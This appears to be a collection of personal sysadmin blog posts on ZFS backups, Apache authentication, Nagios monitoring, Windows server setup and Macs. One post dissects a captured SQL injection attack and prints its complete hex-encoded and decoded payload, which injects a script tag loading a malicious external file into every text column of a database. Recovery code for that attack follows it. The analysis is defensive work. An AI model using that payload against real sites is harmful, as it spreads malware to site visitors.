Python ZFS Backup Script

This is my incremental backup script for ZFS on Solaris 10
REQUIREMENTS:
mysql
python
pymysql
install these by doing this

/opt/csw/bin/pkg-get -i mysql5
/opt/csw/bin/pkg-get -i python
/opt/csw/bin/pkg-get -i pymysql

Requires a mySQL database with a table called logs in a database called backups, please feel free to amend this but remember to update the script below.
NOTES:
You will have to tab indent this script manually as I haven't figured out how to do it in here
SCRIPT:

#!/usr/bin/python
#backup_script_v0.1.py - Backup ZFS pool for sportsware
import sys
import MySQLdb
import os
import commands
import smtplib
import time
#set fixed parameters here
smtpserver = "IP.ADDRESS"
adminEmail = "address mail comes from"
backupsEmail = "address mail goes to"
targetZFSHost = "IP/hostname of ZFS target"
sourceZFSPool = "the zfs volume to be backed up"
targetZFSPool = "the zfs volume to back up to"
thisServer = "name of this server"
thisClient = "name of client"

#database connection attempts go here
try:
      DBlog = MySQLdb.connect (host = "database IP",
            user = "backups_user",
            passwd = "backups_pass",
            db = "backups")
except MySQLdb.Error, e:
      print "Error %d: %s" % (e.args[0], e.args[1])
      sys.exit (1)

startTime = time.time()
timestamp = time.strftime("%Y%m%d%H%M")
buildSnapshotCommand = "zfs snapshot "+sourceZFSPool+"@"+timestamp
lastSnapshotCommand = "zfs list -r -t snapshot -o name "+sourceZFSPool
lastSnapshotInput = commands.getoutput(lastSnapshotCommand)
lastSnapshot = lastSnapshotInput[-12:]
zfsSendRecvCommand = "zfs send -i "+sourceZFSPool+"@"+lastSnapshot+" "+sourceZFSPool+"@"+timestamp+"  ssh -C "+targetZFSHost+" zfs recv "+targetZFSPool
print "Creating Snapshot"
#CREATING THE SNAPSHOT
status = commands.getoutput(buildSnapshotCommand)
if status == "":
      logStatus="No snapshot error occurred"
else:
      logStatus=status
      print logStatus
      #build mail connection
      mailSession = smtplib.SMTP(smtpserver)
      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Snapshot Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus
      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)
      mailSession.quit()

Logging = DBlog.cursor()
LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"
Logging.execute(LoggingInsert)
endTime = time.time()
timeSpent=endTime - startTime
print "Sending Snapshot"
#ZFS SEND/RECV
status = commands.getoutput(zfsSendRecvCommand)
if status == "":
      sendlogStatus="No ZFS transmission error occurred"
else:
      logStatus=status
      print logStatus
      #build mail connection
      mailSession = smtplib.SMTP(smtpserver)
      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Send/Recv Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus
      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)
      mailSession.quit()

Logging = DBlog.cursor()
LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"
Logging.execute(LoggingInsert)
endTime = time.time()
timeSpent=endTime - startTime


emailCompletionMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:Backups Completed at "+time.strftime("%H:%M - %d/%m/%Y")+"\nThe ZFS Backups Completed @"+time.strftime("%H:%M - %d/%m/%Y")+"\n\n They completed in "+str(timeSpent)+" seconds"
zipMailSession = smtplib.SMTP(smtpserver)
zipMailSession.sendmail(backupsEmail,adminEmail,emailCompletionMessage)
zipMailSession.quit()
print endTime
DBconn.close()
sys.exit(0)

00:11:09:94:84:27

Nothing to see here, move along.

Simple password protection in Apache 2.x

Just dropping this in here so I can find it again, I could never get .htaccess files to work in windows so this works in the same way

Use htpasswd -cb filename username password to create your hashed password file

put

<directory "some directory tree to protect">
   AllowOverride None
   Options None
   AuthType Basic 
   AuthUserFile "path to password file 
   AuthName "message for users" 
   require valid-user 
   Order deny, allow
</directory>

Tech I Touch #2

Time for another installment of this section! This time it's the turn of my macbooks.

At the minute I am currently using 2 macbooks, one a 1st generation MacBook and the other is the latest version of the MacBook Pro.

Both are admirable performers in their own way, they both fulfill computing needs that I have.

The MacBook Pro was supplied by my employers (cheers for that if anyone is reading!) as my day-to-day office machine, the 15.4" screen makes it a bit more pleasing to use for longer periods. It's a fantastic piece of hardware, up to my usual exceptionally high engineering standards.

My MacBook (Black 2 GHz Core Duo) is my own machine, its a few years old now but is still my number one machine, I use it primarily at home as the smaller screen is a bit less intrusive, if I had to travel a lot, I would definitely have requested another one of these as the smaller size isn't noticeable in use but definitely when packing it or carrying it about.

Both have their individual merits, the backlit keyboard on the MBP but I prefer the feel of the keys on the MB, they remind me of the ZX spectrum I owned once upon a time. I find it more pleasant to type on but I am a very aggressive typist.

I always said to people that "personally I didn't see a use for the MacBook Air", but I think that I may have been taken out of context. I think it is a very capable machine but it just doesn't suit my computing style; that's not to say that I wouldn't want to have one to play about with. I like the compactness but would miss several of the features, a wired ethernet port being the most important. But there is definitely a market for it, as evidenced by the slew of ultraportables that have been released in direct competition for it.

If I had to choose an ultraportable it most likely would be the Air as the price is about right and it can run OS X (legally and without hackery) which is definitely my preferred operating system at the moment. A linux KDE system might overtake it but I'm not particularly taken by KDE 4 right at this present moment, 3.x was fine and I preferred it to Gnome and KDE 4 but I'm strongly tempted to go back to Gnome if 3.x becomes unavailable.

Oh dear, this has turned into a rant of some kind, and I don't want to start a browser/os/window manager war at all.

The following is a basic dissection of a failed SQL injection attempt

it starts with the following being passed in the URL against another URL Parameter (this has had line breaks added to prevent the formatting from being screwed up)

'DECLARE @S CHAR(4000)SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000))EXEC(@S)

this is the string hexadecimal decoded so that humans can read is as SQL speaks hexadecimal natively

DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"<>/script<>!--'' where '+@C+' not like ''%"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

The following are the translated xtypes so we can see what type of fields it is trying to insert into

|XTYPE | Field Type|

|------------------|

|99    | ntext     |

|35    | text      |

|231   | nvarchar  |

|167   | varchar   |

-------------------|

it then proceeds to iterate through all the tables and rows in each, appending the string

</title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!-- 

except where it has already found it, so the potential is there for multiple attacks but from the script having the opening HTML tags, only the initial successful attack would actually work.

This attack in particular redirects users to a malicious page that will attempt to get them to download a trojan type virus which is most likely a remote exploit that would allow remote control of their machine to be used in a botnet for any number of purchases, or simply a sniffer for "useful" information like credit cards and banking details.
This is probably not as bad from an administrative standpoint as a DROP * query being injected, but it is in my opinion a bit more sinister.

Installing Windows 2003 64 bit on Sun X4150

Having received a shiny new Sun x4150 to be used as an exchange server, I came across a few interesting details about it.

1. It comes in lots and lots of boxes and must be assembled.
2. It's nice and easy to work in as its so tidy and well organised.
3. It doesn't come with a CD/DVD Drive by default so pull out your USB drives or just order one from the factory.

As it doesn't have a floppy drive it's a bit problematic installing the drivers for the LSI Logic RAID Card, I had to remaster the windows 2003 64bit CD in order to slipstream the drivers onto it for textmode setup.

Firstly download nLite, its a great tool for doing unattended installations as well as integrating stuff into a new windows install CD

Tell it to rip the windows install from the CD Drive or do it yourself and tell it where the folders are.

On the next screen, pick the drivers button and the bootable ISO option. You can have a play about with the rest but its up to yourself.

Change out your Windows CD for the "SunFire Tools and Drivers CD" that came with your server or download it from sun.com.

On the drivers screen, tell it to import the Multiple Driver select, then pick the cd:/drivers/windows directory (or similar). Then select the drivers that have 64 bit in them, but don't bother with the drivers with RIS in their path.

Hit next and then on the last screen hit Make ISO.

And thats you, burn it out and you are laughing

Apparently there is a tool on the sun disk that does this (or similar) but I didn't have access to a Solaris or Red Hat box to do it.

This worked for me but as always YMMV

Recover from SQL Injection

This script creates a stored proc called SearchAndReplace, once this is created, call it like
SearchAndReplace 'Stringto be searched for','' this will replace the search string with nothing.

CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN

-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT

SET NOCOUNT ON

DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0

WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)

WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)

IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END

SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END

Public Speaking

This weekend just past, I gave a presentation to about 20 odd people on the joys of Nagios, the open source server and network monitor.

This is probably the first bit of proper public speaking that I have done in a very long time.

Before I actually gave the presentation, I was so nervous, looking round, catching glimpses of other peoples presentations, vision based tracking, rapid web service development in rails.

I just thought, wow these people are really serious about this, should I even be here?

The answer was, hell yeah, the people in the room (including the authors of the two topics ^^^) obviously wanted to hear something about it otherwise they would be out getting coffee or something similar.

So a scary experience turned out to be really worthwhile and a great way to meet new people, BarCamp '09 here I come (just need to figure out a topic!)

PS once I started speaking I was fine, the most of the nerves left me, except of course when my remote started to misbehave....

Tech I Touch #1

This is a new series of blog entries about interesting tech (to me anyway) that I come across in my day-to-day life.

They will probably be sporadic entries as most of the tech that I come across, I've either used it already or it doesn't interest or intrigue me.

This one will be about the Dyson hand dryer. Please bear with me on this, I know this sounds like a deathly boring object but I found it interesting as it was a novel twist on existing technology that, to be quite honest, only did a passable job, usually resorting to rubbing hands on your trousers. Or trying to find not quite environmentally friendly paper towels.

They dyson machine is quite different, rather than a straight down heated airflow, it has a semi-enclosed area that you put your hands into and then draw them out slowly.
A high pressure stream of cold air pushes the water off your hands from the base of your palm up to your fingertips, 1 pass, maybe 2 is all that it took for soaking wet hands to be bone dry.

Here's a linky Dyson AirBlade

What I found interesting was that it used cold air rather than the usual heated airstream. This in itself has to be more environmentally friendly and safer as there is no wasteful heating element.

There are more details at the link above, including a cost-saving calculator.

Monitor Dell Servers Running Windows Server Using Nagios and SNMP

Things I use in this entry:

Nagios 2.9
perl:net-snmp
Dell OpenManage Server Administrator
Nagios plugin check_omsa_snmp.pl
Windows Server 2003

At present, the servers that I am responsible for are monitored from a 30,000' view, its getting progressively closer to the ground and services or more precisely groups of services are being monitored. For instance, there are several services that our exchange server depends on but I don't want to and don't think it is necessary to report on each one directly, a better approach IMO is to use nc_net on each windows server to be monitored then have one service to view these as a single point of failure.

I had been asked to look at monitoring the physical hardware of each server and the only real way to do this would be using SNMP and the Dell OpenManage Server Administrator tools.

Installation Instructions

1. Windows Server has SNMP available as an additional built-in component, it can be installed using Add/Remove Windows Components under Management and Monitoring tools.
Feel free to install all of these as most of them are useful but for our purposes, only the installation of the Simple Network Management Protocol component is required.

2. Install the Dell OpenManage Server Administrator software found here

3. Open up services.msc and get the properties for the SNMP agent, click on the security tab, then untick the send authentication trap.
In the upper section, click on add an SNMP community (as read-only), remember this name as you will need it later.
In the lower section add the address of your Nagios as one of the accepted hosts. Make sure to leave in localhost, or if you aren't paranoid (AND WHY NOT????) you can tick the box saying accept from any host.

4. Go to Nagios Exchange and download check_omsa_snmp.pl to your Nagios server into /usr/local/nagios/libexec (default config assumed)

5. chmod +x that file and test your connection to the SNMP enabled server using snmpwalk -v 2c -c COMMUNITYNAME HOSTNAME .1.3.6.1.4.1.674.10892.1.700.20.1.8.1
It should return SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.1 = STRING: "CPU Planar"
SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.2 = STRING: "Ambient"
SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.3 = STRING: "BP Bottom Temp"

If that is successful, run this command
./check_omsa_snmp.pl -H HOSTNAME -C COMMUNITYNAME
and this will return any critical errors on your server, for example
Power Supply 2 is critical

You can then set this up as a service command where you can have the SNMP community set already.

Restart Services as Non-admin User Windows Vista

run

Sc sdset servicename "D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRPWP;;;AU)(A;;CCLCSWLOCRRC;;;IU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

where servicename is the servicename that you want non-admins to be able to operate